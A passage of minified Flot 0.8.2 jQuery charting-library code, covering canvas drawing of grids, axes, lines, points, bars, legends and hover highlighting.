A=="object"&&A[z.position]>0||A>0)&&(w==z.min||w==z.max)){continue}if(z.direction=="x"){x=z.p2c(w);m=u=="full"?-a8:u;if(z.position=="top"){m=-m}}else{k=z.p2c(w);v=u=="full"?-bu:u;if(z.position=="left"){v=-v}}if(a7.lineWidth==1){if(z.direction=="x"){x=Math.floor(x)+0.5}else{k=Math.floor(k)+0.5}}a7.moveTo(x,k);a7.lineTo(x+v,k+m)}a7.stroke()}if(A){n=aR.grid.borderColor;if(typeof A=="object"||typeof n=="object"){if(typeof A!=="object"){A={top:A,right:A,bottom:A,left:A}}if(typeof n!=="object"){n={top:n,right:n,bottom:n,left:n}}if(A.top>0){a7.strokeStyle=n.top;a7.lineWidth=A.top;a7.beginPath();a7.moveTo(0-A.left,0-A.top/2);a7.lineTo(bu,0-A.top/2);a7.stroke()}if(A.right>0){a7.strokeStyle=n.right;a7.lineWidth=A.right;a7.beginPath();a7.moveTo(bu+A.right/2,0-A.top);a7.lineTo(bu+A.right/2,a8);a7.stroke()}if(A.bottom>0){a7.strokeStyle=n.bottom;a7.lineWidth=A.bottom;a7.beginPath();a7.moveTo(bu+A.right,a8+A.bottom/2);a7.lineTo(0,a8+A.bottom/2);a7.stroke()}if(A.left>0){a7.strokeStyle=n.left;a7.lineWidth=A.left;a7.beginPath();a7.moveTo(0-A.left/2,a8+A.bottom);a7.lineTo(0-A.left/2,0);a7.stroke()}}else{a7.lineWidth=A;a7.strokeStyle=aR.grid.borderColor;a7.strokeRect(-A/2,-A/2,bu+A,a8+A)}}a7.restore()}function aD(){h.each(bv(),function(k,u){var r=u.box,s=u.direction+"Axis "+u.direction+u.n+"Axis",o="flot-"+u.direction+"-axis flot-"+u.direction+u.n+"-axis "+s,v=u.options.font||"flot-tick-label tickLabel",q,l,n,p,m;bb.removeText(o);if(!u.show||u.ticks.length==0){return}for(var t=0;t<u.ticks.length;++t){q=u.ticks[t];if(!q.label||q.v<u.min||q.v>u.max){continue}if(u.direction=="x"){p="center";l=aV.left+u.p2c(q.v);if(u.position=="bottom"){n=r.top+r.padding}else{n=r.top+r.height-r.padding;m="bottom"}}else{m="middle";n=aV.top+u.p2c(q.v);if(u.position=="left"){l=r.left+r.width-r.padding;p="right"}else{l=r.left+r.padding}}bb.addText(o,l,n,q.label,v,null,null,p,m)}})}function aX(k){if(k.lines.show){a1(k)}if(k.bars.show){aB(k)}if(k.points.show){aA(k)}}function a1(p){function q(C,B,v,x,y){var w=C.points,u=C.pointsize,E=null,r=null;a7.beginPath();for(var D=u;D<w.length;D+=u){var s=w[D-u],z=w[D-u+1],t=w[D],A=w[D+1];if(s==null||t==null){continue}if(z<=A&&z<y.min){if(A<y.min){continue}s=(y.min-z)/(A-z)*(t-s)+s;z=y.min}else{if(A<=z&&A<y.min){if(z<y.min){continue}t=(y.min-z)/(A-z)*(t-s)+s;A=y.min}}if(z>=A&&z>y.max){if(A>y.max){continue}s=(y.max-z)/(A-z)*(t-s)+s;z=y.max}else{if(A>=z&&A>y.max){if(z>y.max){continue}t=(y.max-z)/(A-z)*(t-s)+s;A=y.max}}if(s<=t&&s<x.min){if(t<x.min){continue}z=(x.min-s)/(t-s)*(A-z)+z;s=x.min}else{if(t<=s&&t<x.min){if(s<x.min){continue}A=(x.min-s)/(t-s)*(A-z)+z;t=x.min}}if(s>=t&&s>x.max){if(t>x.max){continue}z=(x.max-s)/(t-s)*(A-z)+z;s=x.max}else{if(t>=s&&t>x.max){if(s>x.max){continue}A=(x.max-s)/(t-s)*(A-z)+z;t=x.max}}if(s!=E||z!=r){a7.moveTo(x.p2c(s)+B,y.p2c(z)+v)}E=t;r=A;a7.lineTo(x.p2c(t)+B,y.p2c(A)+v)}a7.stroke()}function n(I,A,B){var u=I.points,v=I.pointsize,D=Math.min(Math.max(0,B.min),B.max),t=0,w,x=false,E=1,F=0,z=0;while(true){if(v>0&&t>u.length+v){break}t+=v;var r=u[t-v],G=u[t-v+E],s=u[t],H=u[t+E];if(x){if(v>0&&r!=null&&s==null){z=t;v=-v;E=2;continue}if(v<0&&t==F+v){a7.fill();x=false;v=-v;E=1;t=F=z+v;continue}}if(r==null||s==null){continue}if(r<=s&&r<A.min){if(s<A.min){continue}G=(A.min-r)/(s-r)*(H-G)+G;r=A.min}else{if(s<=r&&s<A.min){if(r<A.min){continue}H=(A.min-r)/(s-r)*(H-G)+G;s=A.min}}if(r>=s&&r>A.max){if(s>A.max){continue}G=(A.max-r)/(s-r)*(H-G)+G;r=A.max}else{if(s>=r&&s>A.max){if(r>A.max){continue}H=(A.max-r)/(s-r)*(H-G)+G;s=A.max}}if(!x){a7.beginPath();a7.moveTo(A.p2c(r),B.p2c(D));x=true}if(G>=B.max&&H>=B.max){a7.lineTo(A.p2c(r),B.p2c(B.max));a7.lineTo(A.p2c(s),B.p2c(B.max));continue}else{if(G<=B.min&&H<=B.min){a7.lineTo(A.p2c(r),B.p2c(B.min));a7.lineTo(A.p2c(s),B.p2c(B.min));continue}}var C=r,y=s;if(G<=H&&G<B.min&&H>=B.min){r=(B.min-G)/(H-G)*(s-r)+r;G=B.min}else{if(H<=G&&H<B.min&&G>=B.min){s=(B.min-G)/(H-G)*(s-r)+r;H=B.min}}if(G>=H&&G>B.max&&H<=B.max){r=(B.max-G)/(H-G)*(s-r)+r;G=B.max}else{if(H>=G&&H>B.max&&G<=B.max){s=(B.max-G)/(H-G)*(s-r)+r;H=B.max}}if(r!=C){a7.lineTo(A.p2c(C),B.p2c(G))}a7.lineTo(A.p2c(r),B.p2c(G));a7.lineTo(A.p2c(s),B.p2c(H));if(s!=y){a7.lineTo(A.p2c(s),B.p2c(H));a7.lineTo(A.p2c(y),B.p2c(H))}}}a7.save();a7.translate(aV.left,aV.top);a7.lineJoin="round";var l=p.lines.lineWidth,o=p.shadowSize;if(l>0&&o>0){a7.lineWidth=o;a7.strokeStyle="rgba(0,0,0,0.1)";var k=Math.PI/18;q(p.datapoints,Math.sin(k)*(l/2+o/2),Math.cos(k)*(l/2+o/2),p.xaxis,p.yaxis);a7.lineWidth=o/2;q(p.datapoints,Math.sin(k)*(l/2+o/4),Math.cos(k)*(l/2+o/4),p.xaxis,p.yaxis)}a7.lineWidth=l;a7.strokeStyle=p.color;var m=bf(p.lines,p.color,0,a8);if(m){a7.fillStyle=m;n(p.datapoints,p.xaxis,p.yaxis)}if(l>0){q(p.datapoints,0,0,p.xaxis,p.yaxis)}a7.restore()}function aA(p){function k(D,r,w,t,y,x,A,u){var z=D.points,v=D.pointsize;for(var s=0;s<z.length;s+=v){var B=z[s],C=z[s+1];if(B==null||B<x.min||B>x.max||C<A.min||C>A.max){continue}a7.beginPath();B=x.p2c(B);C=A.p2c(C)+t;if(u=="circle"){a7.arc(B,C,r,0,y?Math.PI:Math.PI*2,false)}else{u(a7,B,C,r,y)}a7.closePath();if(w){a7.fillStyle=w;a7.fill()}a7.stroke()}}a7.save();a7.translate(aV.left,aV.top);var l=p.points.lineWidth,n=p.shadowSize,o=p.points.radius,m=p.points.symbol;if(l==0){l=0.0001}if(l>0&&n>0){var q=n/2;a7.lineWidth=q;a7.strokeStyle="rgba(0,0,0,0.1)";k(p.datapoints,o,null,q+q/2,true,p.xaxis,p.yaxis,m);a7.strokeStyle="rgba(0,0,0,0.2)";k(p.datapoints,o,null,q/2,true,p.xaxis,p.yaxis,m)}a7.lineWidth=l;a7.strokeStyle=p.color;k(p.datapoints,o,bf(p.points,p.color),0,false,p.xaxis,p.yaxis,m);a7.restore()}function aU(u,v,k,z,p,D,w,x,l,o,s){var C,m,y,q,B,t,r,A,n;if(o){A=t=r=true;B=false;C=k;m=u;q=v+z;y=v+p;if(m<C){n=m;m=C;C=n;B=true;t=false}}else{B=t=r=true;A=false;C=u+z;m=u+p;y=k;q=v;if(q<y){n=q;q=y;y=n;A=true;r=false}}if(m<w.min||C>w.max||q<x.min||y>x.max){return}if(C<w.min){C=w.min;B=false}if(m>w.max){m=w.max;t=false}if(y<x.min){y=x.min;A=false}if(q>x.max){q=x.max;r=false}C=w.p2c(C);y=x.p2c(y);m=w.p2c(m);q=x.p2c(q);if(D){l.fillStyle=D(y,q);l.fillRect(C,q,m-C,y-q)}if(s>0&&(B||t||r||A)){l.beginPath();l.moveTo(C,y);if(B){l.lineTo(C,q)}else{l.moveTo(C,q)}if(r){l.lineTo(m,q)}else{l.moveTo(m,q)}if(t){l.lineTo(m,y)}else{l.moveTo(m,y)}if(A){l.lineTo(C,y)}else{l.moveTo(C,y)}l.stroke()}}function aB(n){function k(s,t,q,r,o,p){var w=s.points,v=s.pointsize;for(var u=0;u<w.length;u+=v){if(w[u]==null){continue}aU(w[u],w[u+1],w[u+2],t,q,r,o,p,a7,n.bars.horizontal,n.bars.lineWidth)}}a7.save();a7.translate(aV.left,aV.top);a7.lineWidth=n.bars.lineWidth;a7.strokeStyle=n.color;var m;switch(n.bars.align){case"left":m=0;break;case"right":m=-n.bars.barWidth;break;default:m=-n.bars.barWidth/2}var l=n.bars.fill?function(p,o){return bf(n.bars,n.color,p,o)}:null;k(n.datapoints,m,m+n.bars.barWidth,l,n.xaxis,n.yaxis);a7.restore()}function bf(p,o,m,l){var n=p.fill;if(!n){return null}if(p.fillColor){return bj(p.fillColor,m,l,o)}var k=h.color.parse(o);k.a=typeof n=="number"?n:0.4;k.normalize();return k.toString()}function az(){if(aR.legend.container!=null){h(aR.legend.container).html("")}else{aH.find(".legend").remove()}if(!aR.legend.show){return}var n=[],q=[],p=false,u=aR.legend.labelFormatter,v,l;for(var r=0;r<bl.length;++r){v=bl[r];if(v.label){l=u?u(v.label,v):v.label;if(l){q.push({label:l,color:v.color})}}}if(aR.legend.sorted){if(h.isFunction(aR.legend.sorted)){q.sort(aR.legend.sorted)}else{if(aR.legend.sorted=="reverse"){q.reverse()}else{var s=aR.legend.sorted!="descending";q.sort(function(A,B){return A.label==B.label?0:A.label<B.label!=s?1:-1})}}}for(var r=0;r<q.length;++r){var z=q[r];if(r%aR.legend.noColumns==0){if(p){n.push("</tr>")}n.push("<tr>");p=true}n.push('<td class="legendColorBox"><div style="border:1px solid '+aR.legend.labelBoxBorderColor+';padding:1px"><div style="width:4px;height:0;border:5px solid '+z.color+';overflow:hidden"></div></div></td><td class="legendLabel">'+z.label+"</td>")}if(p){n.push("</tr>")}if(n.length==0){return}var x='<table style="font-size:smaller;color:'+aR.grid.color+'">'+n.join("")+"</table>";if(aR.legend.container!=null){h(aR.legend.container).html(x)}else{var m="",w=aR.legend.position,t=aR.legend.margin;if(t[0]==null){t=[t,t]}if(w.charAt(0)=="n"){m+="top:"+(t[1]+aV.top)+"px;"}else{if(w.charAt(0)=="s"){m+="bottom:"+(t[1]+aV.bottom)+"px;"}}if(w.charAt(1)=="e"){m+="right:"+(t[0]+aV.right)+"px;"}else{if(w.charAt(1)=="w"){m+="left:"+(t[0]+aV.left)+"px;"}}var k=h('<div class="legend">'+x.replace('style="','style="position:absolute;'+m+";")+"</div>").appendTo(aH);if(aR.legend.backgroundOpacity!=0){var o=aR.legend.backgroundColor;if(o==null){o=aR.grid.backgroundColor;if(o&&typeof o=="string"){o=h.color.parse(o)}else{o=h.color.extract(k,"background-color")}o.a=1;o=o.toString()}var y=k.children();h('<div style="position:absolute;width:'+y.width()+"px;height:"+y.height()+"px;"+m+"background-color:"+o+';"> </div>').prependTo(k).css("opacity",aR.legend.backgroundOpacity)}}}var a2=[],bt=null;function aK(E,G,J){var w=aR.grid.mouseActiveRadius,k=w*w+1,m=null,t=false,o,q,r;for(o=bl.length-1;o>=0;--o){if(!J(bl[o])){continue}var v=bl[o],F=v.xaxis,H=v.yaxis,p=v.datapoints.points,u=F.c2p(E),x=H.c2p(G),y=w/F.scale,A=w/H.scale;r=v.datapoints.pointsize;if(F.options.inverseTransform){y=Number.MAX_VALUE}if(H.options.inverseTransform){A=Number.MAX_VALUE}if(v.lines.show||v.points.show){for(q=0;q<p.length;q+=r){var C=p[q],D=p[q+1];if(C==null){continue}if(C-u>y||C-u<-y||D-x>A||D-x<-A){continue}var z=Math.abs(F.p2c(C)-E),B=Math.abs(H.p2c(D)-G),s=z*z+B*B;if(s<k){k=s;m=[o,q/r]}}}if(v.bars.show&&!m){var I,n;switch(v.bars.align){case"left":I=0;break;case"right":I=-v.bars.barWidth;break;default:I=-v.bars.barWidth/2}n=I+v.bars.barWidth;for(q=0;q<p.length;q+=r){var C=p[q],D=p[q+1],l=p[q+2];if(C==null){continue}if(bl[o].bars.horizontal?u<=Math.max(l,C)&&u>=Math.min(l,C)&&x>=D+I&&x<=D+n:u>=C+I&&u<=C+n&&x>=Math.min(l,D)&&x<=Math.max(l,D)){m=[o,q/r]}}}}if(m){o=m[0];q=m[1];r=bl[o].datapoints.pointsize;return{datapoint:bl[o].datapoints.points.slice(q*r,(q+1)*r),dataIndex:q,series:bl[o],seriesIndex:o}}return null}function bz(k){if(aR.grid.hoverable){bw("plothover",k,function(l){return l.hoverable!=false})}}function aI(k){if(aR.grid.hoverable){bw("plothover",k,function(l){return false})}}function aW(k){bw("plotclick",k,function(l){return l.clickable!=false})}function bw(s,t,r){var q=aQ.offset(),n=t.pageX-q.left-aV.left,p=t.pageY-q.top-aV.top,l=b({left:n,top:p});l.pageX=t.pageX;l.pageY=t.pageY;var k=aK(n,p,r);if(k){k.pageX=parseInt(k.series.xaxis.p2c(k.datapoint[0])+q.left+aV.left,10);k.pageY=parseInt(k.series.yaxis.p2c(k.datapoint[1])+q.top+aV.top,10)}if(aR.grid.autoHighlight){for(var o=0;o<a2.length;++o){var m=a2[o];if(m.auto==s&&!(k&&m.series==k.series&&m.point[0]==k.datapoint[0]&&m.point[1]==k.datapoint[1])){a0(m.series,m.point)}}if(k){aO(k.series,k.datapoint,s)}}aH.trigger(s,[l,k])}function c(){var k=aR.interaction.redrawOverlayInterval;if(k==-1){a4();return}if(!bt){bt=setTimeout(a4,k)}}function a4(){bt=null;ay.save();aS.clear();ay.translate(aV.left,aV.top);var k,l;for(k=0;k<a2.length;++k){l=a2[k];if(l.series.bars.show){aY(l.series,l.point)}else{a6(l.series,l.point)}}ay.restore();a3(bp.drawOverlay,[ay])}function aO(o,n,l){if(typeof o=="number"){o=bl[o]}if(typeof n=="number"){var m=o.datapoints.pointsize;n=o.datapoints.points.slice(m*n,m*(n+1))}var k=aM(o,n);if(k==-1){a2.push({series:o,point:n,auto:l});c()}else{if(!l){a2[k].auto=false}}}function a0(n,m){if(n==null&&m==null){a2=[];c();return}if(typeof n=="number"){n=bl[n]}if(typeof m=="number"){var l=n.datapoints.pointsize;m=n.datapoints.points.slice(l*m,l*(m+1))}var k=aM(n,m);if(k!=-1){a2.splice(k,1);c()}}function aM(n,m){for(var l=0;l<a2.length;++l){var k=a2[l];if(k.series==n&&k.point[0]==m[0]&&k.point[1]==m[1]){return l}}return -1}function a6(s,m){var o=m[0],q=m[1],l=s.xaxis,n=s.yaxis,k=typeof s.highlightColor==="string"?s.highlightColor:h.color.parse(s.color).scale("a",0.5).toString();if(o<l.min||o>l.max||q<n.min||q>n.max){return}var p=s.points.radius+s.points.lineWidth/2;ay.lineWidth=p;ay.strokeStyle=k;var r=1.5*p;o=l.p2c(o);q=n.p2c(q);ay.beginPath();if(s.points.symbol=="circle"){ay.arc(o,q,r,0,2*Math.PI,false)}else{s.points.symbol(ay,o,q,r,false)}ay.closePath();ay.stroke()}function aY(n,m){var l=typeof n.highlightColor==="string"?n.highlightColor:h.color.parse(n.color).scale("a",0.5).toString(),o=l,k;switch(n.bars.align){case"left":k=0;break;case"right":k=-n.bars.barWidth;break;default:k=-n.bars.barWidth/2}ay.lineWidth=n.bars.lineWidth;ay.strokeStyle=l;aU(m[0],m[1],m[2]||0,k,k+n.bars.barWidth,function(){return o},n.xaxis,n.yaxis,ay,n.bars.horizontal,n.bars.lineWidth)}function bj(k,s,m,r){if(typeof k=="string"){return k}else{var l=a7.createLinearGradient(0,m,0,s);for(var p=0,q=k.colors.length;p<q;++p){var o=k.colors[p];if(typeof o!="string"){var n=h.color.parse(r);if(o.brightness!=null){n=n.scale("rgb",o.brightness)}if(o.opacity!=null){n.a*=o.opacity}o=n.toString()}l.addColorStop(p/(q-1),o)}return l}}}h.plot=function(a,c,d){var b=new j(h(a),c,d,h.plot.plugins);return b};h.plot.version="0.8.2";h.plot.plugins=[];h.fn.plot=function(a,b){return this.each(function(){h.plot(this,a,b)})};function f(a,b){return b*Math.floor(a/b)}})(jQuery);
Rename:
-